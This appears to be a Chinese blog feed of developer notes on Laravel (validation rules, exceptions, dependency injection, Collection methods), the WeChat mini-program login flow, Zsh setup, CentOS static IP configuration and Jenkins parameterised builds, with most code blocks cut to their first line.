命令,就可以生成Service 了~
下面整理了常用的一些表单验证规则,大致可以分为以下几类:
所谓的常规验证就是直接使用Laravel 表单验证为我们提供的验证规则。
验证的字段必须可以转换为 Boolean 类型。 可接受的输入为 true
, false
, 1
,0
, "1"
和 "0"
。
待验证字段只能由字母组成。
待验证字段只能由字母和数字组成。
待验证字段必须是有效的 PHP 数组。
验证的字段必须是有效的 URL。
验证的字段必须是整数。
验证字段必须为数值。
注意数值和整数的区别。
验证的字段必须是有效的 JSON 字符串。
验证字段必须在最小值与最大值之间。
1 | return [ |
验证字段必须包含在给定的值列表中:
1 | return [ |
验证中的字段必须为 numeric,并且长度必须在给定的 min 和 max 之间。
1 | return [ |
验证的文件必须是图片并且图片比例必须符合规则:
1 | return [ |
对于图片的验证,使用 dimensions
尤其有用。
验证的文件必须是图片 (jpeg, png, bmp, gif, svg, or webp)。
验证的字段必须存在于输入数据中,而不是空。如果满足以下条件之一,则字段被视为「空」:
验证的字段在存在时不能为空。
可以指定当验证字段的值为 value 时,其他验证规则可以排除。
1 | return [ |
当 id
为零时,不会验证exists
规则。
如果某个规则仅仅只使用一次,那么使用闭包来创建自定义规则再适合不过,闭包函数接收属性的方法,属性的值以及在校验失败时的回调函数 $fail
:
1 | return [ |
验证的字段必须存在于给定的数据库表中。
1 | return [ |
验证字段在给定的数据库表中必须是唯一的。
语法:unique:table,column,except,idColumn
。
基本用法,指定自定义的列表:
1 | return [ |
在做update
操作时,如果提交了 email
,那么上面的那个验证仍然会生效,这时可以通过定义 except
当前用户。
1 | return [ |
生成的SQL:
1 | select count(*) as aggregate from users where email_address = "geeek001@qq.com" and uid <> 1; |
同样可以使用Rule
助手函数来完成数据库验证:
1 | return [ |
App\Exceptions\Handler
类处理,同时也会记录在日志信息中。通常可能会直接使用 throw new \Exception
来抛出一个异常终止流程,但是由于系统可能会有各式各样的异常,业务代码处处抛出 \Exception
和捕获 \Exception
,导致如果遇到系统错误,无法及时通知。
异常可以大致分为两类: 用户异常 和 系统异常。
比如访问一个不存在的资源,对于此类异常我们需要把触发异常的原因告知用户。
可以把这类异常命名为 InvalidRequestException
,在Laravel 中,可以通过 make:exception
命令来创建异常:
1 | php artisan make:exception InvalidRequestException |
app/Exceptions/InvalidRequestException.php
:
1 |
|
注意这里重写了Illuminate\Foundation\Exceptions\Handler
父类的render()
方法,异常被触发时系统会调用 render()
方法来输出,可以在render()
里判断如果是 AJAX 请求则返回 JSON 格式的数据,否则就返回一个错误页面。
当异常触发时 Laravel 默认会把异常的信息和调用栈打印到日志(storage/logs/laravel.log
)里,比如:
比如用户异常并不是因为系统本身的问题导致的,不会影响系统的运行,如果大量此类日志打印到日志文件里反而会影响我们去分析真正有问题的异常,因此需要屏蔽这个行为。
在app/Exceptions/Handler.php
类中,将需要屏蔽的类加入到dontReport
属性中:
1 | protected $dontReport = [ |
比如连接数据库失败,或者某SQL 执行异常,对于此类异常需要有限度地告知用户发生了什么,因此,可以传入两条信息,一条是给用户看的,另一条是打印到日志中给开发人员看的。
新建一个 InternalException
类:
1 | $ php artisan make:exception InternalException |
app/Exceptions/InternalException.php
:
1 |
|
在该类中,只需要传入真正的异常,记录到日志中,而最终返回给用户的只有『系统内部错误』这些信息。
假设在控制器中,需要调用一个封装好的API 类,在该类中,使用\Exception
抛出异常,那么在控制器中,可以使用我们自定义的InternalException
类进行接管异常。
1 |
|
客户端触发异常:
1 | { |
依赖和注入其实说的是同一个东西,它们只是一种编程的思想,其主要作用是用于减少程序间的耦合。以及有效分离对象和它所需的外部资源。
下面先来看一个简单的小例子来体会下什么是『依赖注入』:
car.php
1 |
|
person.php
1 |
|
index.php
1 |
|
在上面这个例子(主要看Person 这个类),需要明确几个概念:
通过观察可以发现:
观察buy()
这个方法,假如需求发生变化,需要买的不是一辆车,而是一栋房,那么还得更改 Person 类的源码,由实例化一辆车改为实例化一栋房。更好的做法应该是,把所需的实例,通过函数参数的方式传入进来。
Person.php
1 |
|
index.php
:
1 |
|
现在可以清晰的看到,Car类
通过函数参数的方式『注入』到了Person 类
中。
『依赖注入』有多种,这里只是用一个最简单的例子来解释『依赖注入』的思想以及可以有效地解决什么问题:
那么啥是控制反转呢?
再次观察最开始的代码,可以发现,Car 类在Person 类中是被动实例化,Person 类正向控制了Car 类,其实例化顺序是先有了Person 类才有Car 类:Person -> Car
。
改成后面的注入方式之后,则可以发现,Car 类是主动实例化,Person 类失去了对Car 类的控制权,其实例化顺序是先有Car 类才有Person 类:Car -> Person
。
这就是『控制反转』。
其实很多时候,我们在不经意间都有使用到这种思想,只是自己没有意识到。
Ioc容器(Inversion of Control)常常伴随着依赖注入、控制反转一起出现,那么它倒底是个什么东西呢?
在回答这个问题之前,先来看看上面的那段代码,虽然最后使用依赖注入的方式解耦了Person类
和Car 类
,但此时又会面临一个新的问题:依赖仍然需要手动创建,此时只有两个类相互依赖还好,一旦类的依赖关系,嵌套过深,手动创建就会变成一件麻烦事:
1 | $boo = new \di\Person(); |
这时候,就需要IoC 容器登场了。
IoC 容器的核心是通过PHP 的 反射 (Reflection) 来实现的。
IoC.php
:
1 |
|
person.php
1 |
|
index.php
1 |
|
可以看到,即使没有手动创建Car 类,也不会影响Person 类的调用,这就是IoC 容器所解决的问题:把对象与对象之间的依赖关系隐藏到容器(存储实例化对象)中,通过自动创建的方式解决依赖关系。
这里仅仅只是抛砖引玉,用一个简单的IoC 容器例子来理解什么是依赖注入/控制反转,更多相关知识可以通过查看主流框架源码或者PHP-DI 进行学习。
原来的业务可以看成是一条流水线,这条流水线上有各个模块有各自的职责,相互依赖但并不耦合,操作A 完成之后,才能执行操作B,操作完成之后才能执行操作C… 以此类推。
就目前的需求来看,直接使用传统的方式进行编码,各个职责所对应的功能直接写到控制器中,即可。但问题在于,同时有多个不同的角色,可能会调用该功能,比如:
用户只能执行A、C 操作,管理员只能执行A、B、C 操作,而超级管理员则可以执行所有操作。
如果仍然坚持使用传统的方式进行编码,那么同一个操作,可能需要在不同角色模块下各自维护一份,一旦其中某一个的需求发生了变化,那么还得同时更正好几份代码…
已知需求:
基于以上几点,最终选择『责任链模式』作为设计思路,原因有以下:
伪代码分析过程:
__call
进行反射,将操作映射到具体功能实现的类中核心有两点:
创建职责连:
用户:
1 |
|
管理员:
1 |
|
超级管理员:
1 |
|
虽然不同的操作操作之间并没有直接关联,此处为了方便日后功能扩展,还是将不同类型的操作进行了分类
OrderSuccessService:
1 |
|
OrderFailService:
1 |
|
创建OrderAction 类:
1 |
|
控制器调用:
1 | namespace App\Services\user; |
至此,该业务的核心流程已经通过职责连模式和反射实现。
回头再看看这些代码,其实也不会有什么难度,只是自己在这方便的锻炼太少了,每每遇到问题,总是很难将需求抽象,或者尽管知道用什么设计模式,但最终导致写不出来。
]]>下图是微信官方提供的时序图:
整理成流程,大概就是:
wx.login()
接口获取临时登录凭证(code),这一步用户是无感知的,无需用户授权;code
到 开发者服务器;appid
、appsecret
和 code
请求微信接口,换取用户的 session_key
和 openid
;openid
查找到对应的用户,存入 session_key
,然后为该用户生成 access_token (JWT)返回给小程序。access_token
小程序就可以调用任意接口了。注意这里的 session_key
是一个比较特殊的设计,是用户的 会话密钥,需要存储在服务器中,调用获取用户信息、获取微信用户绑定的手机号等微信接口时,需要用这个 会话密钥 才能解密获取相关数据。每次调用 wx.login()
之后,微信都会自动生成新的 session_key
,导致之前的 session_key
失效,所以在必要的时候再去调用 wx.login()
,而且还要及时保存 session_key
到服务器,以备后续使用。
此段流程整理来自Laravel 社区的《L04 Laravel教程-微信小程序从零到发布》。
清楚了小程序的登录流程之后,可以动手来获取code
了。
这里建议使用最新版本的微信开发者工具,以免出现一些不必要的问题。
填入AppID,点击新建。
初始化的小程序无需做任何更改,只需要在wx.login()
下面增加一行console.log(res)
将结果打印在控制台中,然后重新编译,即可看到控制台中输出了 code
。
拿到code
之后,就可以获取OpenID
、SessionKey
了。
为了方便调试,这里直接在 Laravel 的Tinker 中进行测试,以下代码逐行粘贴在 tinker 中:
1 | use EasyWeChat\Factory; |
其中app_id
和secret
需要开发者通过微信开发平台自行获取:
不填或者填入错误的app_id
和 secret
都会导致获取OpenID异常。
如果遇到异常,可以对照微信官方文档——全局返回码进行排查分析。
拿到OpenID及 SessionKey 之后,下一步就可以进行解密了,这一步也是通过EasyWeCaht
来完成。
根据前面的时序图,可以得知,登录凭证校验需要用到以下参数:
最后一个都好理解,可是前面两个分别是什么鬼?
不着急,先打开微信开发者工具,在app.js
中,加入以下代码:
1 | // app.js |
保存之后,再次编译,查看控制台输出:
这两个就是我们需要的数据了,拿到之后,再次打开Tinker
:
1 | $app->encryptor->decryptData("SessionKey", "iv", "encryptedData") |
正常情况下,返回结果会包含当前登录用户的个人信息,我这里用的是测试号,因此并没有譬如手机号这类字段。
至此,小程序登录与微信接口服务的交互就告一段落了,获取到用户身份之后的逻辑就不用多说了。
上面小程序端的代码只是演示如何拿到需要的参数,实际开发并不建议用此方式直接写在app.js
中。
oh-my-zsh
配置方案。事实上 oh-my-zsh
并不好用,严重拖慢了 Zsh 的速度,下面分享一个简洁高效的Zsh 配置方案。这里直接从发行版的源中进行安装,简单、高效:
1 | sudo apt-get update |
两个插件一个主题:
zsh-autosuggestions
:这个是自动建议插件,能够自动提示你需要的命令。zsh-syntax-highlighting
:这个是代码高亮插件,能够使你的命令行各个命令清晰明了。zsh-theme-powerlevel10k
这个主题提供漂亮的提示符,可以显示当前路径、时间、命令执行成功与否,还能够支持 git 分支显示等等。一键安装:
1 | sudo apt-get install zsh-autosuggestions zsh-syntax-highlighting zsh-theme-powerlevel9k |
不出意外的话,会提示:
1 | E: Unable to locate package zsh-autosuggestions |
这是因为软件源中并没有zsh-autosuggestions
这个package,所以需要手动添加软件包。
这里可以直接进入opensuse 进行搜索,需要的软件包。
找到对应的发行版,点击Export Download:
这里提供两种方式供我们选择:
直接给结论,第二种方式更简单些,直接下载.deb文件之后,就可以安装了。
选择对应的操作系统以及版本,右键拷贝链接地址:
1 | wget https://download.opensuse.org/repositories/shells:/zsh-users:/zsh-autosuggestions/xUbuntu_18.04/amd64/zsh-autosuggestions_0.5.0+1.1_amd64.deb |
再次执行命令:
1 | sudo apt-get install zsh-autosuggestions zsh-syntax-highlighting zsh-theme-powerlevel9k |
至此,插件和主题就安装完成了。
1 | $ chsh -s /usr/bin/zsh |
注销并重新登录,再次登录成功时,默认启用了zsh。
第一次进入 Zsh 会自动出现一个配置界面,这个界面可以根据需要自定义 Zsh。
配置界面中各个菜单代表的意思分别是:
1:设置命令历史记录相关的选项
2:设置命令补全系统
3:设置热建
4:选择各种常见的选项,只需要选择“On”或者“Off”
0:退出,并使用空白(默认)配置
a:终止设置并退出
q:退出
Zsh 的配置文件是 ~/.zshrc
文件,这个文件在你的用户目录下 ~/
。删掉了这个文件,再次进入 Zsh时,会再次进入 Zsh 的配置界面。
将以下代码加入到 ~/.zshrc
文件中,以启用插件和主题:
1 | source /usr/share/powerlevel9k/powerlevel9k.zsh-theme |
再次注销并登录,即可看到新的终端界面:
系统版本:
1 | $ cat /etc/redhat-release |
查看当前网卡的名称:
一台电脑可能有多个网卡,如何判断哪一个是当前正在使用的?
就看哪个网卡的IP 刚好是该机器当前的IP。
比如在上面的例子中,机器当前的IP 是192.168.1.100
,那么只要确定某个网卡的IP 也是 192.168.1.100
,那这个网卡就是我们要找的了。
编辑对应的配置文件:
1 | $ cd /etc/sysconfig/network-scripts |
设置静态IP 配置文件如下:
1 | TYPE="Ethernet" |
重启网络:
1 | service network restart |
如果没有生效,可以尝试编辑/etc/resolv.conf
,加入以下配置:
1 | nameserver 114.114.114.114 # 和上面的DNS 服务器保持一致 |
再次重启网络。
需要注意的是:这种配置是永久生效的,即使下次重启电脑,IP 地址也不会发生变化。
至此,就完成了设置静态IP 的全部配置。
]]>需求可以简单描述为:在Jenkins 中通过手动的方式自主选择标签或者分支进行构建。而不是通过 Push 事件进行自动触发。
在正式开始之前,需要先安装 Git Parameter
插件。
在可选插件中搜索Git Parameter
,进行安装。
正常安装完成,可以看到如下:
创建一个自由风格的软件项目:
选择参数化构建过程,参数类型选择分支或标签:
源码管理选择Git,填上项目地址,如果是私有项目,需要添加 Credential:
最后点击保存即可。
点击Build with Parameters
,可以看到所有标签和分支,手动选择不同的分支和标签即可进行构建。
可以看到核心的步骤其实只有两步,如果还有其他需求,比如构建完成之后,执行某个脚本,也是可以实现的,
需求:遍历$orders 数组,求price 的和。
1 |
|
使用传统的foreach 方式进行遍历:
1 | $sum = 0; |
使用集合的map、flatten、sum:
1 | $sum = collect($orders)->map(function($order){ |
map:遍历集合,返回一个新的集合。
flatten:将多维数组转换为一维。
sum:返回数组的和。
1 | $sum = collect($orders)->flatMap(function($order){ |
flatMap:和map
类似,不过区别在于flatMap
可以直接使用返回的新集合。
1 | $sum = collect($orders)->flatMap(function($order){ |
sum:可以接收一个列名作为参数进行求和。
需求:将如下结构的数组,格式化成下面的新数组。
1 | // 带格式化数组 |
使用foreach 进行遍历:
1 | $res = []; |
使用集合的map以及php 的explode、end:
1 | $res = collect($gates)->map(function($gate) { |
使用集合的map、explode、last、toArray:
1 | $res = collect($gates)->map(function($gate) { |
explode:将字符串进行分割成数组
last:获取最后一个元素
首先,通过此链接获取到个人事件json。
一个 PushEvent计
5 分,一个 CreateEvent
计 4 分,一个 IssueCommentEvent计
3 分,一个 IssueCommentEvent
计 2 分,除此之外的其它类型的事件计 1 分,计算当前用户的时间得分总和。
1 | $opts = [ |
1 | $eventTypes = []; // 事件类型 |
使用集合的map、pluck、sum 方法:
1 | $score = $events->pluck('type')->map(function($eventType) { |
使用集合的链式编程,可以很好地解决上面那种多次遍历的问题。
使用集合中的map、pluck、get 方法:
1 | $score = $events->pluck('type')->map(function($eventType) { |
尝试将该需求,封装成一个类:
1 | class GithubScore { |
需求:将以下数据格式化成新的结构。
1 | $messages = [ |
传统的foreach 方式:
1 | $comment = '- ' . array_shift($messages); |
使用集合的map、implode方法:
1 | $comment = collect($messages)->map(function($message){ |
需求:两组数据分别代表去年的营收和今年的营收,求每个月的盈亏情况。
1 | $lastYear = [ |
传统的foreach 方式:
1 | $profit = []; |
使用集合的zip、first、last:
1 | $profit = collect($thisYear)->zip($lastYear)->map(function($monthly){ |
zip:将给定数组的值与相应索引处的原集合的值合并在一起。
需求:将如下数组格式化成下面的结果:
1 | $employees = [ |
传统的foreach 方式:
1 | $emails = []; |
使用集合的reduce 方法:
1 | $emails = collect($employees)->reduce(function($emailLookup, $employee){ |
reduce:将每次迭代的结果传递给下一次迭代直到集合减少为单个值。
1 | $emails = collect($employees)->pluck('name', 'email'); |
需求:将下面的二维数组,转换为一维数组。
1 | $nums = [ |
1 | $result = []; |
1 | $result = collect($nums)->flatten(1)->map(function ($num){ |
1 | $orders = [ |
1 | $total_price = 0; |
array 函数:
1 | $total_price = array_sum(array_column($orders, "price")); |
使用集合:
1 | // 方式一: |
1 | $products = [ |
使用集合:
1 | $product = collect($products)->pluck("brand"); |
if...else
通常是一个糟糕的选择,它导致设计复杂,代码可读性差,并且可能导致重构困难。
1 | function doSomething() { |
好在可以通过其他方式可以避免对if...else
的过度依赖:
1 | public function run($input){ |
只需要删除else
块,即可简化此过程:
1 | public function run($input){ |
switch...case
也是不错地选择:1 | public function run($input){ |
1 | class UserModel |
使用try...catch
重写:
1 | class UserModel |
通过使用try...catch
重写,使得代码逻辑职责分明、更加清晰。try
只用关心业务正常情况的处理,而所有异常则统一在catch
中处理,上游只需将异常抛出即可。
需要在一个方法中,重复处理某个逻辑,这时可能会将其封装成一个函数,即:
1 | function doSomething(...) { |
上面这段代码并没有什么问题,但是如果这个函数仅仅只在doSomething
中使用呢?更好地做法应该是这样:
1 | function doSomething() { |
客户端在做决策时,通常会根据不同的上下文环境选择不同的策略,可能会写成下面这样:
1 | class One |
上面这种情况,无论是使用if...else
还是switch...case
当策略增多时,都会出现大量分支逻辑判断,好写的做法是定义一个简单的策略:
1 | class One |
1 | class One |
上面这段代码有什么问题?
使用依赖注入重写此类:
1 | class One |
isset
语法糖:
1 | $name = isset($params["name"]) ? isset($params["name"]) : ""; |
把类似数组的对象应用到方法中是很有用的,通过链式编程,用极短的代码,就可以达到预期的效果。
需要注意的是集合并不是Laravel 中独有的,许多语言都可以在数组中使用集合式编程,但非常遗憾,原生的PHP 是不支持集合式编程的,不过幸运的是,一些勤劳的人已经为我们完成了艰苦的工作,并编写了一个非常方便的包——illuminate/support、Tightenco/Collect 。
一般来说,集合是不可改变的,这意味着大部分 Collection 方法都会返回一个全新的 Collection 实例。
为了创建一个集合,可以将一个数组传入集合的构造器中,也可以创建一个空的集合,然后把元素写到集合中。Laravel 有collect()
助手,这是最简单的,新建集合的方法。
1 | $collection = collect([1, 2, 3]); |
默认情况下, Eloquent 查询的结果返回的内容都是
Illuminate\Support\Collection
实例,如果希望对结果进行序列化,可以使用toArray()
、toJson()
方法。
在非Laravel 项目中使用集合:
安装:
1 | composer require illuminate/support |
使用:
1 |
|
记住,所有方法都可以使用链式编程的方式优雅的操纵数组。而且几乎所有的方法都会返回新的 Collection
实例。
返回该集合表示的底层数组。
1 | collect(["boo", "yumi", "mac"])->all(); |
获取数组的平均值:
1 | collect([1, 1, 2, 4])->avg(); // 2 |
获取二维数组的平均值:
1 | collect([['foo' => 10], ['foo' => 10], ['foo' => 20], ['foo' => 40]])->avg('foo'); // 20 |
avg()
方法的别名,两者的效果是一样的。
将大集合按指定大小拆分成小集合。
1 | $collection = collect([1, 2, 3, 4, 5, 6, 7]); |
根据指定的回调值把集合分解成多个更小的集合:
1 | $collection = collect(str_split('AABBCCCD')); |
将多个数组合并成一个集合。
1 | $collection = collect([[1, 2, 3], [4, 5, 6], [7, 8, 9]]); |
将一个集合的值作为「键」,再将另一个数组或者集合的值作为「值」合并成一个集合。
1 | $collection = collect(['name', 'age']); |
返回一个包含当前集合所含元素的新的 Collection 实例:
1 | $collection = collect([1, 2, 3]); |
追加给定数组或集合数据到集合末尾。
1 | $collection = collect(['John Doe']); |
判断集合是否包含给定的项目。
基本用法:
1 | $collection = collect(['name' => 'boo', 'age' => 25]); |
也可以用 contains 方法匹配一对键/值,即判断给定的配对是否存在于集合中:
1 | $collection = collect([ |
也可以传递一个回调到 contains 方法来执行自己的真实测试:
1 | $collection = collect([1, 2, 3, 4, 5]); |
contains 方法在检查项目值时使用「宽松」比较,意味着具有整数值的字符串将被视为等于相同值的整数。 相反 containsStrict 方法则是使用「严格」比较进行过滤。
使用「严格模式」判断集合是否包含给定的项目:
基本使用:
1 | $collection = collect([ |
如上例所示,数组值存在,但是值类型不一致也返回false。
返回该集合内的项目总数。
1 | collect([1, 2, 3, 4])->count(); // 4 |
统计集合中每个元素出现的次数。
基本用法:
1 | $collection = collect([1, 2, 2, 2, 3, 5, 5]); |
进阶用法,自定义规则,统计元素出现的次数:
1 | $collection = collect(['alice@gmail.com', 'bob@yahoo.com', 'carlos@gmail.com']); |
返回指定集合的可能的笛卡尔积。
1 | $collection = collect([1, 2]); |
备份文件系统和停止系统(dump and die)的缩写,打印集合元素并中断脚本执行。
1 | $collection = collect(['John Doe', 'Jane Doe']); |
如果不想中断执行脚本,请使用dump
方法替代。
打印集合项而不终止脚本执行。
1 | $collection = collect(['John Doe', 'Jane Doe']); |
与给定的集合或者数组进行比较,基于值求差集。
将集合与其它集合或纯 PHP 数组进行值的比较,然后返回原集合中存在而给定集合中不存在的值:
1 | $collection = collect([1, 2, 3, 4, 5]); |
与给定的集合或者数组进行比较,基于键值对求差集。
返回原集合不存在于给定集合中的键值对:
1 | $collection = collect([ |
与给定的集合或者数组进行比较,基于键求差集。
返回原集合中存在而给定的集合中不存在「键」所对应的键值对:
1 | $collection = collect([ |
从集合中检索并返回重复的值。
基本用法:
1 | $collection = collect(['a', 'b', 'a', 'c', 'b']); |
如果集合包含数组或对象,则可以传递希望检查重复值的属性的键:
1 | $employees = collect([ |
duplicates
方法在检查项目值时使用「宽松」比较,相反duplicatesStrict
方法则是使用「严格」比较进行过滤。
迭代集合中的内容并将其传递到回调函数中。
1 | $collection = $collection->each(function ($item, $key) { |
同样是遍历集合,不过与each 的区别在于,对于多维数组,可以直接拿到元素。
1 | $collection = collect([['Boo', 25, "men"], ['Yumi', 23, "woman"]]); |
检查集合中的每一个元素是否通过指定条件:
1 | collect([1, 2, 3, 4])->every(function ($value, $key) { |
注意:如果集合为空, every 将返回 true。
返回集合中除了指定键以外的所有项目。
1 | $collection = collect(['product_id' => 1, 'price' => 100, 'discount' => false]); |
与之相反的方法是 only()
。
使用给定的回调函数过滤集合的内容,只留下那些通过的元素。
1 | $collection = collect([1, 2, 3, 4]); |
如果没有提供回调函数,集合中所有返回false的元素都会被移除:
1 | $collection = collect([1, 2, 3, null, false, '', 0, []]); |
与之相反的方法是 reject()
。
返回集合中的第一个元素。
基本用法:
1 | collect([1, 2, 3, 4])->first(); // 1 |
同样可以传入回调函数,进行条件限制:
1 | collect([1, 2, 3, 4])->first(function ($value, $key) { |
如果需要返回最后一个元素可以使用last()
方法。
返回集合中含有指定键 / 值对的第一个元素:
1 | $collection = collect([ |
还可以在firstWhere 中使用算术运算符:
1 | $collection->firstWhere('age', '>=', 18); |
和 where 方法一样,你可以将一个参数传递给 firstWhere 方法。在这种情况下, firstWhere 方法将返回指定键的值为「真」的第一个集合项:
1 | $collection->firstWhere('age'); |
遍历集合并将其中的每个值传递到给定的回调。
可以通过回调修改每个值的内容再返回出来,从而形成一个新的被修改过内容的集合:
1 | $collection = collect([ |
将多维集合转为一维。
基本用法:
1 | $collection = collect(['name' => 'taylor', 'languages' => ['php', 'javascript']]); |
还可以选择性地传入「深度」参数:
1 | $collection = collect([ |
在这个例子里,调用 flatten 方法时不传入深度参数的话也会将嵌套数组转成一维的,然后返回 ['iPhone 6S', 'Apple', 'Galaxy S7', 'Samsung']
,传入深度参数能限制设置返回数组的层数。
键值反转。
1 | $collection = collect(["name" => "boo", "age" => 25]); |
通过给定的键来移除掉集合中对应的内容。
1 | $collection = collect(['name' => 'taylor', 'framework' => 'laravel']); |
与大多数集合的方法不同,forget()
不会返回修改过后的新集合;它会直接修改原来的集合。
返回给定键的项目。
基本用法,如果该键不存在,则返回 null:
1 | $collection = collect(['name' => 'taylor', 'framework' => 'laravel']); |
可以传递第二个参数作为默认值:
1 | $collection = collect(['name' => 'taylor', 'framework' => 'laravel']); |
甚至可以将回调函数当作默认值。如果指定的键不存在,就会返回回调的结果:
1 | $collection = collect(['name' => 'taylor', 'framework' => 'laravel']); |
根据给定的键对集合内的项目进行分组。
基本用法:
1 | $collection = collect([ |
同样可以传入一个回调函数来代替字符串的『键』,根据该回调函数的返回值来进行分组:
1 | $grouped = $collection->groupBy(function ($item, $key) { |
甚至可以传入一个数组进行多层分组:
1 | $data = new Collection([ |
判断集合中是否存在给定的键。
1 | $collection = collect(["name" => "boo", "age" => 25]); |
合并集合中的项目。
implode 方法用于合并集合项。其参数取决于集合项的类型。如果集合包含数组或对象,你应该传递你希望合并的属性的键,以及你希望放在值之间用来「拼接」的字符串:
1 | $collection = collect([ |
如果集合中包含简单的字符串或数值,只需要传入「拼接」用的字符串作为该方法的唯一参数即可:
1 | collect([1, 2, 3, 4, 5])->implode('-'); |
从原集合中移除不在给定数组或集合中的『任何值』,返回新的集合将保留原集合的键。
1 | $collection = collect(['Desk', 'Sofa', 'Chair']); |
删除原集合中不存在于给定数组或集合中的『任何键』,返回新的集合将保留原集合的键。
1 | $collection = collect([ |
判断集合是否为空。
1 | collect([])->isEmpty(); // true |
判断集合是否不为空。
1 | collect([])->isEmpty(); // false |
将集合中的值用字符串连接。
1 | collect(['a', 'b', 'c'])->join(', '); // 'a, b, c' |
以给定的键作为集合的键。
1 | $collection = collect([ |
还可以在这个方法传递一个回调函数。该回调函数返回的值会作为该集合的键:
1 | $keyed = $collection->keyBy(function ($item) { |
返回集合的所有键。
1 | $collection = collect(["name" => "boo", "age" => 25]); |
返回集合中通过给定真实测试的最后一个元素,与first
方法正好相反。
1 | collect([1, 2, 3, 4])->last(function ($value, $key) { |
还可以调用无参的 last 方法来获取集合的最后一个元素。如果集合为空。返回 null:
1 | collect([1, 2, 3, 4])->last(); |
静态 macro
方法允许你在运行时添加方法到 Collection
类,更多细节可以查看扩展集合部分文档。
静态 make
方法会创建一个新的集合实例,细节可查看创建集合部分文档。
遍历集合并将每一个值传入给定的回调,返回新的集合。
1 | $collection = collect([1, 2, 3, 4, 5]); |
与其他大多数集合方法一样, map 会返回一个新的集合实例;它不会修改原集合。如果你想修改原集合,请使用 transform
方法。
迭代集合项,传递每个嵌套集合项值到给定回调。在回调中我们可以修改集合项并将其返回,从而通过修改的值组合成一个新的集合。
1 | $collection = collect([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); |
通过指定回调函数对集合进行分组,
1 | $collection = collect([ |
对集合进行迭代并传递每个值到给定回调,该回调会返回包含键值对的关联数组。
1 | $collection = collect([ |
返回指定键的最大值。
1 | $max = collect([['foo' => 10], ['foo' => 20]])->max('foo'); // 20 |
返回指定键的中间值。
1 | $median = collect([['foo' => 10], ['foo' => 10], ['foo' => 20], ['foo' => 40]])->median('foo'); // 15 |
将给定数组或集合合并到原集合。
如果给定的集合项的字符串键与原集合中的字符串键相匹配,则指定集合项的值将覆盖原集合的值:
1 | $collection = collect(['product_id' => 1, 'price' => 100]); |
如果给定的集合项为数字,则这些值将会追加在集合的最后:
1 | $collection = collect(['Desk', 'Chair']); |
返回指定键的最小值。
1 | $min = collect([1, 2, 3, 4, 5])->min(); // 1 |
返回指定键的众数值。
1 | collect([1, 1, 2, 4])->mode(); // [1] |
每隔n个元素取一个元素组成一个新的集合。
1 | $collection = collect(['a', 'b', 'c', 'd', 'e', 'f']); |
返回集合中给定键的所有项目。
1 | $collection = collect(['product_id' => 1, 'name' => 'Desk', 'price' => 100, 'discount' => false]); |
将给定值填充数组直到达到指定的最大长度。该方法和 PHP 函数 array_pad 类似。
如果你想要把数据填充到左侧,需要指定一个负值长度,如果指定长度绝对值小于等于数组长度那么将不会做任何填充。
1 | $collection = collect(['A', 'B', 'C']); |
配合list()方法区分回调函数满足和不满足的数据。
1 | $collection = collect([1, 2, 3, 4, 5, 6]); |
将集合传给给定的回调并返回结果。
1 | $collection = collect([1, 2, 3]); |
获取集合中给定键对应的所有值。
基本用法:
1 | $collection = collect([ |
还可以传入第二个参数作为键值:
1 | $plucked = $collection->pluck('name', "id"); |
移除并返回集合中的最后一个项目。
1 | $collection = collect([1, 2, 3, 4, 5]); |
将给定的值添加到集合的开头。
1 | $collection = collect([1, 2, 3, 4, 5]); |
如果是关联数组,也可以传入第二个参数作为键值:
1 | $collection = collect(['one' => 1, 'two' => 2]); |
把给定键对应的值从集合中移除并返回。
1 | $collection = collect(['product_id' => 'prod-100', 'name' => 'Desk']); |
把给定值添加到集合的末尾。
1 | $collection = collect([1, 2, 3, 4]); |
在集合内设置给定的键值对。
1 | $collection = collect(['product_id' => 1, 'name' => 'Desk']); |
从集合中返回一个随机项。
1 | $collection = collect([1, 2, 3, 4, 5]); |
也可以传入一个整数用来指定需要需要获取的随机项个数:
1 | $collection->random(); // 2, 3, 5 |
用于减少集合到单个值,传递每个迭代结果到子迭代。
1 | $collection = collect([1, 2, 3]); |
在第一次迭代时 $carry 的值是null;不过,你可以通过传递第二个参数到 reduce 来指定其初始值。
1 | $collection->reduce(function ($carry, $item) { |
使用指定的回调过滤集合,该回调应该为所有它想要从结果集合中移除的数据项返回 true。
1 | $collection = collect([1, 2, 3, 4]); |
倒转集合中项目的顺序,并保留原始的键值:
1 | $collection = collect(['a', 'b', 'c', 'd', 'e']); |
搜索给定的值并返回它的键,如果没有找到返回 false
1 | $collection = collect([2, 4, 6, 8]); |
上面的搜索使用的是「宽松」比较,要使用「严格」比较,传递 true 作为第二个参数到该方法。
1 | $collection->search('4', true); |
此外,你还可以传递自己的回调来搜索通过真理测试的第一个数据项。
1 | $collection->search(function ($item, $key) { |
移除并返回集合的第一个元素。
1 | $collection = collect([1, 2, 3, 4, 5]); |
随机排序集合中的项目。
1 | $collection = collect([1, 2, 3, 4, 5]); |
从给定索引开始返回集合的一个切片。
1 | $collection = collect([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]); |
与skip()
方法类似。
如果你想要限制返回切片的尺寸,将尺寸值作为第二个参数传递到该方法。
1 | $slice = $collection->slice(4, 2); |
返回的切片有新的、数字化索引的键,如果你想要保持原有的键,可以使用 values 方法对它们进行重新索引。
保留原数组的键,对集合进行排序。
1 | $collection = collect([5, 3, 1, 2, 4]); |
如果有更高级的排序需求,可以通过自己的算法将回调函数传递到 sort()
方法。
如果你需要对嵌套数组或对象进行排序,请参照 sortBy()
和 sortByDesc()
方法。
sortBy
方法将根据指定键对集合进行排序。
1 | $collection = collect([ |
可以传递第二个参数作为排序标志,或者,你可以通过你自己的回调函数来决定如何排序集合的值。
该方法与 sortBy
方法一样,但是会以相反的顺序来对集合进行排序:
sortKeys
使用关联数组的键来对集合进行排序:
1 | $collection = collect([ |
该方法与 sortKeys
方法一样,但是会以相反的顺序来对集合进行排序。
从给定位置开始移除并返回数据项切片。
1 | $collection = collect([1, 2, 3, 4, 5]); |
你可以传递参数来限制返回组块的大小。
1 | $collection = collect([1, 2, 3, 4, 5]); |
此外,你可以传递第三个包含新的数据项的参数来替代从集合中移除的数据项。
1 | $collection = collect([1, 2, 3, 4, 5]); |
将集合按给定的值拆分。
1 | $collection = collect([1, 2, 3, 4, 5]); |
返回集合内所有项目的总和。
1 | collect([1, 2, 3, 4, 5])->sum(); // 15 |
如果集合包含嵌套数组或对象,应该传递一个键用于判断对哪些值进行求和运算。
1 | $collection = collect([ |
此外,你还可以传递自己的回调来判断对哪些值进行求和。
